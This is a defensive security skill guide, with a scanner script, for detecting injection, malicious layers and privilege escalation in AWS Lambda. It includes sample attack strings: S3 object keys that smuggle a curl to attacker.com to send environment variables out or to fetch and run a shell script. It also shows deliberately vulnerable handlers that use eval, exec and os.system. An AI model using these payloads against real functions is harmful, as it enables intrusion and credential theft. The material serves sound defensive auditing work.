Install this skill

npx skills add mukul975/Anthropic-Cybersecurity-Skills

Framework mappings

MITRE ATT&CK

NIST CSF 2.0

When to Use

Auditing Lambda/Cloud Functions for code injection vulnerabilities where unsanitized event data flows into dangerous runtime functions (eval, exec, child_process.exec, os.system)
Investigating incidents where an attacker modified function code or layers to establish persistence or exfiltrate data from the serverless environment
Detecting privilege escalation paths where an adversary with lambda:UpdateFunctionCode and iam:PassRole can assume higher-privilege execution roles
Analyzing event source poisoning attacks where malicious payloads are injected through S3 object uploads, SQS messages, DynamoDB stream records, or API Gateway requests that trigger function execution
Building detection rules for SOC teams monitoring serverless workloads for unauthorized function modifications, layer additions, and suspicious invocation patterns

Do not use for load testing or denial-of-service simulation against serverless functions, for testing against production functions processing live customer data without explicit authorization, or for modifying IAM policies in shared accounts without change management approval.

Prerequisites

AWS account access with read permissions for Lambda, CloudTrail, IAM, CloudWatch Logs, and EventBridge
AWS CLI v2 configured with appropriate credentials and region
CloudTrail enabled with Data Events for Lambda (captures Invoke events) and Management Events (captures UpdateFunctionCode, UpdateFunctionConfiguration, CreateFunction)
Python 3.9+ with boto3, bandit (Python SAST), and semgrep for static analysis
Access to function source code or deployment packages for static analysis
CloudWatch Logs Insights access for querying Lambda execution logs

Workflow

Step 1: Enumerate the Serverless Attack Surface

Map all Lambda functions and their event source triggers to understand injection entry points:

List all Lambda functions and their configurations:

aws lambda list-functions --query 'Functions[*].[FunctionName,Runtime,Role,Handler,Layers]' --output table

Map event source mappings: Each event source mapping is a potential injection entry point where untrusted data enters the function:

aws lambda list-event-source-mappings --output json | \
  jq '.EventSourceMappings[] | {Function: .FunctionArn, Source: .EventSourceArn, State: .State}'

Identify API Gateway triggers: API Gateway routes pass HTTP request data (headers, query strings, body, path parameters) directly into the Lambda event object:
```
aws apigateway get-rest-apis --query 'items[*].[id,name]' --output table
```
For each API, enumerate resources and methods to identify which Lambda functions receive user-controlled HTTP input.
Identify S3 event triggers: S3 bucket notifications can trigger Lambda with attacker-controlled object keys and metadata:
```
aws s3api get-bucket-notification-configuration --bucket <bucket-name>
```
Catalog function environment variables: Secrets in environment variables are exposed if an attacker achieves code execution inside the function:
```
aws lambda get-function-configuration --function-name <name> \
  --query 'Environment.Variables' --output json
```
Identify overprivileged execution roles: Functions with * resource permissions or administrative policies are high-value escalation targets:
```
aws iam list-attached-role-policies --role-name <lambda-exec-role>
aws iam list-role-policies --role-name <lambda-exec-role>
```

Step 2: Static Analysis for Injection Sinks

Scan function code for dangerous patterns that allow injected event data to execute as code or commands:

Download function deployment packages:

aws lambda get-function --function-name <name> --query 'Code.Location' --output text | xargs curl -o function.zip
unzip function.zip -d function_code/

Python injection sinks (Lambda Python runtimes): Search for functions that execute strings as code:

# DANGEROUS: Direct eval/exec of event data
eval(event['expression'])           # Code injection via eval
exec(event['code'])                 # Arbitrary code execution
os.system(event['command'])         # OS command injection
subprocess.call(event['cmd'], shell=True)  # Shell injection
os.popen(event['input'])            # Command injection
pickle.loads(event['data'])         # Deserialization attack
yaml.load(event['config'])          # YAML deserialization (unsafe loader)

Node.js injection sinks (Lambda Node.js runtimes):

// DANGEROUS: Direct execution of event data
eval(event.expression);                    // Code injection
new Function(event.code)();               // Dynamic function creation
child_process.exec(event.command);         // OS command injection
child_process.execSync(event.cmd);         // Synchronous command injection
vm.runInNewContext(event.script);          // Sandbox escape potential
require('child_process').exec(event.input); // Import-and-execute pattern

Run Semgrep with serverless rules: Use purpose-built rules that detect event data flowing into injection sinks:

semgrep --config "p/owasp-top-ten" --config "p/command-injection" \
  --config "p/python-security" function_code/ --json --output semgrep_results.json

Run Bandit for Python functions:
```
bandit -r function_code/ -f json -o bandit_results.json \
  -t B102,B301,B307,B602,B603,B604,B605,B606,B607
```
These test IDs specifically target exec, pickle, eval, subprocess with shell=True, and other injection-relevant patterns.

Custom pattern detection: Search for indirect injection patterns where event data is concatenated into strings that are later executed:

# Indirect injection: event data flows into SQL query string
query = f"SELECT * FROM users WHERE id = '{event['userId']}'"
cursor.execute(query)  # SQL injection
 
# Indirect injection: event data flows into template rendering
template = event['template']
rendered = jinja2.Template(template).render()  # SSTI

Step 3: Detect Event Source Poisoning

Analyze event sources for injection payloads that exploit how Lambda processes triggers:

S3 event key injection: When a Lambda function processes S3 events, the object key from the event record can contain injection payloads. An attacker uploads an object with a malicious key name:
```
# Vulnerable Lambda handler
def handler(event, context):
    bucket = event['Records'][0]['s3']['bucket']['name']
    key = event['Records'][0]['s3']['object']['key']
    # VULNERABLE: key is attacker-controlled
    os.system(f"aws s3 cp s3://{bucket}/{key} /tmp/file")
```
Attack: Upload an object with key ; curl http://attacker.com/exfil?data=$(env) to inject a command through the S3 event.

SQS message body injection: Lambda processes SQS messages where the body contains attacker-controlled data:

# Vulnerable Lambda handler
def handler(event, context):
    for record in event['Records']:
        message = json.loads(record['body'])
        # VULNERABLE: message content used in eval
        result = eval(message['formula'])

API Gateway header/parameter injection: HTTP request data passes through API Gateway into the Lambda event:

# Vulnerable Lambda handler
def handler(event, context):
    user_agent = event['headers']['User-Agent']
    # VULNERABLE: header value used in shell command
    subprocess.run(f"echo {user_agent} >> /tmp/access.log", shell=True)

DynamoDB Stream record injection: Modified DynamoDB items trigger Lambda with the new record values. If an attacker can write to the table, they control the event data:

# Vulnerable Lambda handler
def handler(event, context):
    for record in event['Records']:
        new_image = record['dynamodb']['NewImage']
        config = new_image['config']['S']
        # VULNERABLE: DynamoDB record value used in exec
        exec(config)

Detection via CloudWatch Logs Insights: Query for evidence of injection attempts in function execution logs:

fields @timestamp, @message
| filter @message like /(?i)(eval|exec|os\.system|child_process|subprocess|import os)/
| filter @message like /(?i)(error|exception|traceback|syntax)/
| sort @timestamp desc
| limit 100

Step 4: Detect Malicious Lambda Layer Injection

Identify unauthorized Lambda layers that intercept function execution or exfiltrate data:

Audit current layer attachments: List all functions and their layer versions to identify unexpected additions:
```
aws lambda list-functions --query 'Functions[*].[FunctionName,Layers[*].Arn]' --output json
```

Detect layer modification events in CloudTrail: Query for UpdateFunctionConfiguration events that add or change layers:

aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=UpdateFunctionConfiguration \
  --start-time "2026-03-12T00:00:00Z" \
  --end-time "2026-03-19T23:59:59Z" \
  --query 'Events[*].[EventTime,Username,CloudTrailEvent]'

Parse the CloudTrailEvent JSON to check if Layers was modified in the request parameters.

Analyze layer contents: Download and inspect layer packages for malicious code:

aws lambda get-layer-version --layer-name <layer-name> --version-number <version> \
  --query 'Content.Location' --output text | xargs curl -o layer.zip
unzip layer.zip -d layer_contents/
# Search for suspicious patterns
grep -rn "urllib\|requests\|http\|socket\|exfil\|base64\|subprocess" layer_contents/

Layer hijacking indicators: A malicious layer can override the function's runtime behavior by placing files in the runtime's search path:
- Python: Layer code in /opt/python/ is imported before the function's own modules
- Node.js: Layer code in /opt/nodejs/node_modules/ overrides function dependencies
- A layer providing a modified boto3 package can intercept all AWS API calls, log credentials, and forward requests to an attacker-controlled endpoint

CloudTrail detection query for layer changes:

{
  "source": ["aws.lambda"],
  "detail-type": ["AWS API Call via CloudTrail"],
  "detail": {
    "eventName": ["UpdateFunctionConfiguration20150331v2", "PublishLayerVersion20181031"],
    "errorCode": [{"exists": false}]
  }
}

Step 5: Detect IAM Privilege Escalation via Lambda

Identify escalation paths where attackers modify functions to assume higher-privilege roles:

The Lambda privilege escalation pattern: An attacker with lambda:UpdateFunctionCode and iam:PassRole permissions can:
1. Identify a Lambda function with a high-privilege execution role (e.g., AdministratorAccess)
2. Modify the function's code to call sts:GetCallerIdentity or perform privileged actions
3. Invoke the function, which executes with the high-privilege role
4. Exfiltrate the role's temporary credentials from the function's environment variables (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN)

Detect UpdateFunctionCode events: Monitor CloudTrail for function code modifications:

aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=UpdateFunctionCode20150331v2 \
  --start-time "2026-03-12T00:00:00Z" \
  --query 'Events[*].[EventTime,Username,Resources[0].ResourceName]' --output table

Detect PassRole to Lambda: iam:PassRole is required to attach a different execution role to a function. Monitor for this:

# CloudWatch Logs Insights on CloudTrail logs
fields eventTime, userIdentity.arn, requestParameters.functionName, requestParameters.role
| filter eventName = "UpdateFunctionConfiguration20150331v2"
| filter ispresent(requestParameters.role)
| sort eventTime desc

Detect credential exfiltration from Lambda: A compromised function may call STS or create new IAM entities:

fields eventTime, userIdentity.arn, eventName, sourceIPAddress
| filter userIdentity.arn like /.*:assumed-role\/.*lambda.*/
| filter eventName in ["GetCallerIdentity", "CreateUser", "AttachUserPolicy",
    "CreateAccessKey", "AssumeRole", "PutUserPolicy"]
| sort eventTime desc

EventBridge rule for real-time alerting: Create an EventBridge rule to trigger an SNS alert whenever function code is modified:

{
  "source": ["aws.lambda"],
  "detail-type": ["AWS API Call via CloudTrail"],
  "detail": {
    "eventName": [
      "UpdateFunctionCode20150331v2",
      "UpdateFunctionConfiguration20150331v2",
      "CreateFunction20150331"
    ],
    "errorCode": [{"exists": false}]
  }
}

Step 6: Implement Runtime Injection Prevention

Deploy runtime protection controls to prevent injection at execution time:

Input validation at handler entry: Validate and sanitize all event data before processing:

import re
import json
from functools import wraps
 
SAFE_PATTERNS = {
    'userId': re.compile(r'^[a-zA-Z0-9\-]{1,64}$'),
    'email': re.compile(r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$'),
    'action': re.compile(r'^(get|list|create|update|delete)$'),
}
 
def validate_event(schema):
    """Decorator that validates Lambda event against a whitelist schema."""
    def decorator(func):
        @wraps(func)
        def wrapper(event, context):
            for field, pattern in schema.items():
                value = event.get(field, '')
                if isinstance(value, str) and not pattern.match(value):
                    return {
                        'statusCode': 400,
                        'body': json.dumps({'error': f'Invalid {field}'})
                    }
            return func(event, context)
        return wrapper
    return decorator
 
@validate_event(SAFE_PATTERNS)
def handler(event, context):
    # Event data is validated before reaching this point
    user_id = event['userId']
    # Safe to use in queries with parameterized statements
    return {'statusCode': 200, 'body': json.dumps({'user': user_id})}

Lambda function URL authorization: Ensure functions exposed via URLs require IAM auth:

aws lambda get-function-url-config --function-name <name> \
  --query 'AuthType' --output text
# Must return "AWS_IAM", not "NONE"

Least privilege execution roles: Restrict the function's IAM role to the minimum required permissions:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "dynamodb:GetItem",
        "dynamodb:PutItem"
      ],
      "Resource": "arn:aws:dynamodb:us-east-1:111122223333:table/UserTable"
    },
    {
      "Effect": "Allow",
      "Action": "logs:*",
      "Resource": "arn:aws:logs:us-east-1:111122223333:log-group:/aws/lambda/my-function:*"
    }
  ]
}

SCP to prevent dangerous Lambda modifications: Apply a Service Control Policy at the organization level to restrict who can modify Lambda functions and pass roles:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "DenyLambdaCodeUpdateExceptCICD",
      "Effect": "Deny",
      "Action": [
        "lambda:UpdateFunctionCode",
        "lambda:UpdateFunctionConfiguration"
      ],
      "Resource": "*",
      "Condition": {
        "StringNotLike": {
          "aws:PrincipalArn": "arn:aws:iam::*:role/CICD-DeploymentRole"
        }
      }
    }
  ]
}

AWS Lambda Powertools for structured logging: Emit structured security events that can be ingested by SIEM:

from aws_lambda_powertools import Logger, Tracer
from aws_lambda_powertools.utilities.validation import validate
 
logger = Logger(service="payment-processor")
tracer = Tracer()
 
@logger.inject_lambda_context
@tracer.capture_lambda_handler
def handler(event, context):
    logger.info("Processing event", extra={
        "source_ip": event.get('requestContext', {}).get('identity', {}).get('sourceIp'),
        "user_agent": event.get('headers', {}).get('User-Agent'),
        "http_method": event.get('httpMethod'),
    })

Key Concepts

Term	Definition
Event Source Poisoning	An attack where malicious data is injected into a serverless event source (S3, SQS, DynamoDB Stream, API Gateway) to trigger code execution or injection when the function processes the event
Function Injection	Exploitation of unsanitized event data that flows into dangerous runtime functions (eval, exec, os.system, child_process.exec) within a serverless function handler
Lambda Layer Hijacking	An attack where a malicious Lambda layer is attached to a function to intercept execution, override dependencies, or exfiltrate data by placing code in the runtime's module search path
IAM Privilege Escalation via Lambda	A technique where an attacker with UpdateFunctionCode and PassRole permissions modifies a function to execute with a higher-privilege IAM role, extracting temporary credentials
OWASP Serverless Top 10	A security framework identifying the ten most critical risks in serverless architectures, including injection (SAS-1), broken authentication (SAS-2), and over-privileged functions (SAS-6)
Cold Start Injection	An attack that targets the function initialization phase where environment variables, layer code, and extensions execute before the handler, potentially in an unmonitored context
Execution Role	The IAM role assumed by a Lambda function during execution, providing temporary credentials that define the function's AWS API access permissions

Tools & Systems

Semgrep: Static analysis tool with serverless-specific rule packs that detect event data flowing into injection sinks across Python, Node.js, Java, and Go Lambda runtimes
Bandit: Python-specific SAST tool that identifies security issues including use of eval, exec, subprocess with shell=True, and pickle deserialization
AWS CloudTrail: Logs Lambda management events (UpdateFunctionCode, CreateFunction) and data events (Invoke) for detecting unauthorized modifications and anomalous invocation patterns
CloudWatch Logs Insights: Query engine for searching Lambda execution logs for injection attempt indicators, runtime errors, and suspicious command patterns
AWS Config: Evaluates Lambda function configurations against compliance rules including layer inventory, execution role permissions, and function URL authorization types
Prowler: Open-source AWS security assessment tool with Lambda-specific checks for public access, overprivileged roles, and missing encryption

Common Scenarios

Scenario: Detecting and Responding to a Lambda-Based Privilege Escalation Attack

Context: A SOC analyst receives a GuardDuty alert for UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS on an IAM role used by multiple Lambda functions. Investigation reveals that an attacker compromised a developer's AWS credentials with lambda:UpdateFunctionCode permissions and modified a payment processing function to exfiltrate the execution role's temporary credentials.

Approach:

Query CloudTrail for UpdateFunctionCode events in the past 7 days to identify when the function was modified and by which principal:

fields eventTime, userIdentity.arn, requestParameters.functionName, sourceIPAddress
| filter eventName = "UpdateFunctionCode20150331v2"
| filter requestParameters.functionName = "payment-processor"
| sort eventTime desc

Discover that the function was modified from an IP address in an unexpected geographic location at 02:47 UTC, outside of normal deployment windows
Download the modified function code and find an injected snippet that POSTs os.environ['AWS_ACCESS_KEY_ID'], AWS_SECRET_ACCESS_KEY, and AWS_SESSION_TOKEN to an external endpoint on each invocation
Check if the attacker also added a malicious layer by querying for UpdateFunctionConfiguration events with layer changes
Verify the function's execution role permissions: the payment-processor role has dynamodb:*, s3:GetObject, s3:PutObject, and sqs:SendMessage across all resources, exceeding least privilege
Search CloudTrail for API calls made by the exfiltrated credentials from outside AWS, finding sts:GetCallerIdentity, s3:ListBuckets, dynamodb:Scan on the customer table, and iam:CreateUser attempts
Respond by reverting the function code from the last known-good deployment package in the CI/CD artifact store, rotating the execution role's session tokens, and adding an SCP that restricts lambda:UpdateFunctionCode to the CI/CD role only

Pitfalls:

Only checking the function code and missing malicious layers that persist even after the function code is reverted
Not searching for lateral movement from the exfiltrated credentials to other AWS services, missing data exfiltration from DynamoDB or S3
Failing to check if the attacker created new IAM users, access keys, or roles during the window the credentials were valid
Restoring the function without first preserving the malicious code as forensic evidence
Not implementing preventive controls (SCP, EventBridge alerting) after remediation, leaving the same attack path open

Output Format

## Serverless Function Injection Assessment
 
**Account**: 111122223333
**Region**: us-east-1
**Functions Analyzed**: 47
**Event Source Mappings**: 23
**Assessment Date**: 2026-03-19
 
### Critical Findings
 
#### FINDING-001: OS Command Injection in S3 Event Handler
**Function**: image-resize-processor
**Runtime**: python3.12
**Severity**: Critical (CVSS 9.8)
**Sink**: os.system() at handler.py:34
**Source**: event['Records'][0]['s3']['object']['key']
**Attack Vector**: Upload S3 object with key containing shell metacharacters
**Proof of Concept**:
  Object key: `; curl http://attacker.com/shell.sh | bash`
  Results in: os.system("convert /tmp/; curl http://attacker.com/shell.sh | bash")
**Remediation**: Replace os.system() with subprocess.run() with shell=False
  and validate the S3 key against an allowlist pattern.
 
#### FINDING-002: IAM Privilege Escalation Path
**Function**: data-export-worker
**Execution Role**: arn:aws:iam::111122223333:role/DataExportRole
**Role Permissions**: s3:*, dynamodb:*, iam:PassRole, lambda:*
**Risk**: Any user with lambda:UpdateFunctionCode can modify this function
  to execute arbitrary AWS API calls with AdministratorAccess-equivalent permissions.
**Remediation**: Apply least privilege to the execution role, restrict
  lambda:UpdateFunctionCode via SCP to CI/CD pipeline role only.
 
#### FINDING-003: Unauthorized Layer Attached
**Function**: auth-token-validator
**Layer**: arn:aws:lambda:us-east-1:999888777666:layer:utility-lib:3
**Layer Account**: External account (999888777666)
**Risk**: Layer from untrusted external account can intercept all function
  invocations, modify responses, or exfiltrate environment variables.
**Remediation**: Remove the external layer, vendor the dependency into the
  function's deployment package, add AWS Config rule to block external layers.
 
### Detection Rules Deployed
- EventBridge rule: Alert on UpdateFunctionCode from non-CI/CD principals
- CloudWatch alarm: Function error rate spike > 3x baseline in 5 minutes
- Config rule: Lambda functions must not have layers from external accounts
- Config rule: Lambda execution roles must not have wildcard resource permissions

Source materials

References and resources

Everything below is rendered for inspection. Script files are read-only and never run.

References 1

api-reference.md5.0 KB

API Reference: Serverless Function Injection Detection Agent

Overview

Detects code injection vulnerabilities in AWS Lambda functions by scanning function code for dangerous sinks (eval, exec, os.system, child_process.exec), auditing Lambda layers for external account dependencies, identifying IAM privilege escalation paths through overprivileged execution roles, and monitoring CloudTrail for suspicious function modifications. For authorized security assessments only.

Dependencies

Package	Version	Purpose
boto3	>=1.26	AWS API access for Lambda, IAM, CloudTrail

CLI Usage

# Full assessment with code scanning
python agent.py --region us-east-1 --scan-code --cloudtrail-days 14 --output report.json
 
# Scan specific functions only
python agent.py --functions payment-processor auth-handler --scan-code --output report.json
 
# Quick assessment without code download (IAM, layers, CloudTrail only)
python agent.py --region us-west-2 --output quick_report.json

Arguments

Argument	Required	Description
`--region`	No	AWS region to assess (default: us-east-1)
`--functions`	No	Specific function names to scan (default: all functions in region)
`--scan-code`	No	Download and scan function deployment packages for injection sinks
`--cloudtrail-days`	No	Number of days of CloudTrail history to search (default: 7)
`--output`	No	Output file path (default: `serverless_injection_report.json`)

Key Functions

`enumerate_functions(lambda_client)`

Lists all Lambda functions with runtime, handler, execution role, layers, environment variable names, and function URL configuration. Flags functions with secrets in environment variables.

`get_event_source_mappings(lambda_client)`

Enumerates all event source mappings (SQS, DynamoDB Streams, Kinesis, Kafka, MQ) to identify injection entry points where untrusted data enters function handlers.

`download_and_scan_function(lambda_client, function_name, runtime_family, work_dir)`

Downloads the function deployment package, extracts it, and scans source files for injection sinks using regex patterns. Checks whether event data accessors (event[, event.get() appear in the context around each sink to assess data flow confidence.

`audit_layers(lambda_client, functions)`

Identifies Lambda layers from external AWS accounts and high-impact layers shared across 5+ functions. External layers can intercept function execution or override runtime dependencies.

`detect_privilege_escalation_paths(iam_client, functions)`

Audits execution roles for dangerous permissions (iam:PassRole, lambda:UpdateFunctionCode, sts:AssumeRole) and administrative policies. Any function with UpdateFunctionCode + PassRole is a privilege escalation vector.

`check_cloudtrail_for_modifications(cloudtrail_client, days_back)`

Searches CloudTrail for UpdateFunctionCode, UpdateFunctionConfiguration, PublishLayerVersion, and CreateFunction events. Flags modifications outside CloudFormation/console, role changes, layer additions, and off-hours activity.

`check_function_url_security(lambda_client, functions)`

Identifies Lambda function URLs with AuthType=NONE that are publicly accessible without authentication.

Injection Pattern Coverage

Python Sinks

Pattern	CWE	Severity
`eval()`	CWE-95	Critical
`exec()`	CWE-95	Critical
`os.system()`	CWE-78	Critical
`os.popen()`	CWE-78	Critical
`subprocess.*(shell=True)`	CWE-78	Critical
`pickle.loads()`	CWE-502	High
`yaml.load()` without SafeLoader	CWE-502	High
`jinja2.Template()` with event data	CWE-1336	High
SQL via f-string with event data	CWE-89	Critical

Node.js Sinks

Pattern	CWE	Severity
`eval()`	CWE-95	Critical
`new Function()`	CWE-95	Critical
`child_process.exec()`	CWE-78	Critical
`child_process.execSync()`	CWE-78	Critical
`vm.runInNewContext()`	CWE-95	Critical
`vm.runInThisContext()`	CWE-95	Critical
Template literal command injection	CWE-78	Critical

Output Schema

{
  "report_type": "Serverless Function Injection Assessment",
  "generated_at": "ISO-8601 timestamp",
  "summary": {
    "functions_analyzed": 0,
    "event_source_mappings": 0,
    "total_findings": 0,
    "critical_findings": 0,
    "high_findings": 0,
    "injection_sinks_found": 0,
    "layer_issues": 0,
    "escalation_paths": 0,
    "suspicious_modifications": 0
  },
  "findings": [
    {
      "category": "code_injection|layer_security|privilege_escalation|suspicious_modification|function_url",
      "function_name": "",
      "severity": "critical|high|medium",
      "description": ""
    }
  ],
  "functions": [],
  "event_source_mappings": [],
  "cloudtrail_events": []
}

Exit Codes

Code	Meaning
0	No critical findings
1	Critical injection sinks or privilege escalation paths detected

Scripts 1

agent.py25.9 KB

Display-only source. This catalog never executes bundled scripts.

#!/usr/bin/env python3
# For authorized security assessments and defensive monitoring only
"""Serverless Function Injection Detection Agent - Scans Lambda functions for injection vulnerabilities, layer hijacking, and IAM escalation paths."""

import argparse
import json
import logging
import os
import re
import shutil
import subprocess
import sys
import tempfile
import zipfile
from datetime import datetime, timedelta, timezone

try:
    import boto3
    from botocore.exceptions import ClientError
except ImportError:
    print("ERROR: boto3 required. Install with: pip install boto3")
    sys.exit(1)

logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
logger = logging.getLogger(__name__)

# Dangerous function patterns by runtime
INJECTION_PATTERNS = {
    "python": [
        {"pattern": r"\beval\s*\(", "sink": "eval()", "severity": "critical", "cwe": "CWE-95"},
        {"pattern": r"\bexec\s*\(", "sink": "exec()", "severity": "critical", "cwe": "CWE-95"},
        {"pattern": r"\bos\.system\s*\(", "sink": "os.system()", "severity": "critical", "cwe": "CWE-78"},
        {"pattern": r"\bos\.popen\s*\(", "sink": "os.popen()", "severity": "critical", "cwe": "CWE-78"},
        {"pattern": r"\bsubprocess\.call\s*\(.*shell\s*=\s*True", "sink": "subprocess.call(shell=True)", "severity": "critical", "cwe": "CWE-78"},
        {"pattern": r"\bsubprocess\.run\s*\(.*shell\s*=\s*True", "sink": "subprocess.run(shell=True)", "severity": "critical", "cwe": "CWE-78"},
        {"pattern": r"\bsubprocess\.Popen\s*\(.*shell\s*=\s*True", "sink": "subprocess.Popen(shell=True)", "severity": "critical", "cwe": "CWE-78"},
        {"pattern": r"\bpickle\.loads\s*\(", "sink": "pickle.loads()", "severity": "high", "cwe": "CWE-502"},
        {"pattern": r"\byaml\.load\s*\((?!.*Loader\s*=\s*yaml\.SafeLoader)", "sink": "yaml.load() without SafeLoader", "severity": "high", "cwe": "CWE-502"},
        {"pattern": r"\bjinja2\.Template\s*\(.*event", "sink": "jinja2.Template() with event data", "severity": "high", "cwe": "CWE-1336"},
        {"pattern": r"\b__import__\s*\(", "sink": "__import__()", "severity": "high", "cwe": "CWE-95"},
        {"pattern": r"f['\"].*\{.*event.*\}.*['\"].*\.execute\(", "sink": "SQL via f-string with event data", "severity": "critical", "cwe": "CWE-89"},
        {"pattern": r"['\"].*%s.*['\"].*%.*event", "sink": "SQL via string formatting with event data", "severity": "critical", "cwe": "CWE-89"},
    ],
    "nodejs": [
        {"pattern": r"\beval\s*\(", "sink": "eval()", "severity": "critical", "cwe": "CWE-95"},
        {"pattern": r"\bnew\s+Function\s*\(", "sink": "new Function()", "severity": "critical", "cwe": "CWE-95"},
        {"pattern": r"\bchild_process\.exec\s*\(", "sink": "child_process.exec()", "severity": "critical", "cwe": "CWE-78"},
        {"pattern": r"\bchild_process\.execSync\s*\(", "sink": "child_process.execSync()", "severity": "critical", "cwe": "CWE-78"},
        {"pattern": r"\bexecSync\s*\(", "sink": "execSync()", "severity": "critical", "cwe": "CWE-78"},
        {"pattern": r"\bexec\s*\((?!ute)", "sink": "exec()", "severity": "high", "cwe": "CWE-78"},
        {"pattern": r"\bvm\.runInNewContext\s*\(", "sink": "vm.runInNewContext()", "severity": "critical", "cwe": "CWE-95"},
        {"pattern": r"\bvm\.runInThisContext\s*\(", "sink": "vm.runInThisContext()", "severity": "critical", "cwe": "CWE-95"},
        {"pattern": r"\brequire\s*\(\s*['\"]child_process['\"]\s*\)", "sink": "require('child_process')", "severity": "medium", "cwe": "CWE-78"},
        {"pattern": r"`.*\$\{.*event.*\}`.*exec", "sink": "Template literal command injection", "severity": "critical", "cwe": "CWE-78"},
    ],
}

EVENT_DATA_ACCESSORS = [
    r"event\s*\[",
    r"event\s*\.",
    r"event\.get\s*\(",
    r"event\[.Records.\]",
    r"event\.body",
    r"event\.headers",
    r"event\.queryStringParameters",
    r"event\.pathParameters",
    r"event\.requestContext",
]


def detect_runtime_family(runtime):
    """Map Lambda runtime to language family."""
    if not runtime:
        return "unknown"
    runtime_lower = runtime.lower()
    if "python" in runtime_lower:
        return "python"
    if "node" in runtime_lower:
        return "nodejs"
    if "java" in runtime_lower:
        return "java"
    if "go" in runtime_lower:
        return "go"
    if "ruby" in runtime_lower:
        return "ruby"
    if "dotnet" in runtime_lower:
        return "dotnet"
    return "unknown"


def enumerate_functions(lambda_client):
    """Enumerate all Lambda functions with their configurations."""
    functions = []
    paginator = lambda_client.get_paginator("list_functions")
    for page in paginator.paginate():
        for func in page["Functions"]:
            func_info = {
                "function_name": func["FunctionName"],
                "function_arn": func["FunctionArn"],
                "runtime": func.get("Runtime", "container"),
                "runtime_family": detect_runtime_family(func.get("Runtime")),
                "handler": func.get("Handler"),
                "role": func["Role"],
                "memory_size": func.get("MemorySize"),
                "timeout": func.get("Timeout"),
                "last_modified": func.get("LastModified"),
                "layers": [l["Arn"] for l in func.get("Layers", [])],
                "environment_variables": list(func.get("Environment", {}).get("Variables", {}).keys()),
                "has_function_url": False,
                "has_secrets_in_env": False,
            }

            # Check for secrets in environment variable names
            secret_patterns = ["KEY", "SECRET", "PASSWORD", "TOKEN", "CREDENTIAL", "API_KEY", "PRIVATE"]
            for var_name in func_info["environment_variables"]:
                if any(pat in var_name.upper() for pat in secret_patterns):
                    func_info["has_secrets_in_env"] = True
                    break

            # Check for function URL
            try:
                url_config = lambda_client.get_function_url_config(FunctionName=func["FunctionName"])
                func_info["has_function_url"] = True
                func_info["function_url_auth"] = url_config.get("AuthType", "UNKNOWN")
            except ClientError:
                pass

            functions.append(func_info)

    logger.info("Enumerated %d Lambda functions", len(functions))
    return functions


def get_event_source_mappings(lambda_client):
    """Get all event source mappings to identify injection entry points."""
    mappings = []
    paginator = lambda_client.get_paginator("list_event_source_mappings")
    for page in paginator.paginate():
        for mapping in page["EventSourceMappings"]:
            source_arn = mapping.get("EventSourceArn", "")
            source_type = "unknown"
            if ":sqs:" in source_arn:
                source_type = "SQS"
            elif ":dynamodb:" in source_arn:
                source_type = "DynamoDB Stream"
            elif ":kinesis:" in source_arn:
                source_type = "Kinesis Stream"
            elif ":kafka" in source_arn:
                source_type = "Kafka"
            elif ":mq:" in source_arn:
                source_type = "MQ"

            mappings.append({
                "function_arn": mapping.get("FunctionArn"),
                "event_source_arn": source_arn,
                "source_type": source_type,
                "state": mapping.get("State"),
                "batch_size": mapping.get("BatchSize"),
            })

    logger.info("Found %d event source mappings", len(mappings))
    return mappings


def download_and_scan_function(lambda_client, function_name, runtime_family, work_dir):
    """Download function code and scan for injection patterns."""
    findings = []
    try:
        response = lambda_client.get_function(FunctionName=function_name)
        code_location = response["Code"]["Location"]

        import urllib.request
        zip_path = os.path.join(work_dir, f"{function_name}.zip")
        req = urllib.request.Request(code_location)
        with urllib.request.urlopen(req, timeout=60) as resp, open(zip_path, "wb") as out:
            out.write(resp.read())

        extract_dir = os.path.join(work_dir, function_name)
        os.makedirs(extract_dir, exist_ok=True)

        with zipfile.ZipFile(zip_path, "r") as zf:
            zf.extractall(extract_dir)

        # Determine file extensions to scan
        extensions = {
            "python": [".py"],
            "nodejs": [".js", ".mjs", ".ts"],
            "java": [".java"],
            "go": [".go"],
            "ruby": [".rb"],
        }
        target_exts = extensions.get(runtime_family, [".py", ".js"])

        patterns = INJECTION_PATTERNS.get(runtime_family, [])

        for root, dirs, files in os.walk(extract_dir):
            # Skip node_modules and vendor directories
            dirs[:] = [d for d in dirs if d not in ("node_modules", "vendor", "__pycache__", ".git")]

            for filename in files:
                if not any(filename.endswith(ext) for ext in target_exts):
                    continue

                filepath = os.path.join(root, filename)
                relative_path = os.path.relpath(filepath, extract_dir)

                try:
                    with open(filepath, "r", encoding="utf-8", errors="ignore") as f:
                        lines = f.readlines()
                except Exception:
                    continue

                for line_num, line in enumerate(lines, 1):
                    for pattern_info in patterns:
                        if re.search(pattern_info["pattern"], line):
                            # Check if event data flows into this sink
                            context_start = max(0, line_num - 10)
                            context_lines = lines[context_start:line_num]
                            context_text = "".join(context_lines)

                            event_data_involved = any(
                                re.search(accessor, context_text)
                                for accessor in EVENT_DATA_ACCESSORS
                            )

                            findings.append({
                                "function_name": function_name,
                                "file": relative_path,
                                "line": line_num,
                                "code": line.strip()[:200],
                                "sink": pattern_info["sink"],
                                "severity": pattern_info["severity"],
                                "cwe": pattern_info["cwe"],
                                "event_data_flow": event_data_involved,
                                "confidence": "high" if event_data_involved else "medium",
                            })

    except ClientError as e:
        logger.warning("Cannot download %s: %s", function_name, e)
    except Exception as e:
        logger.warning("Error scanning %s: %s", function_name, e)

    return findings


def audit_layers(lambda_client, functions):
    """Audit Lambda layers for security issues."""
    findings = []
    layer_accounts = {}
    account_id = None

    for func in functions:
        for layer_arn in func.get("layers", []):
            # Extract account ID from layer ARN
            parts = layer_arn.split(":")
            if len(parts) >= 5:
                layer_account = parts[4]
                if account_id is None:
                    # Get our own account ID from function ARN
                    func_parts = func["function_arn"].split(":")
                    if len(func_parts) >= 5:
                        account_id = func_parts[4]

                if layer_account != account_id and account_id:
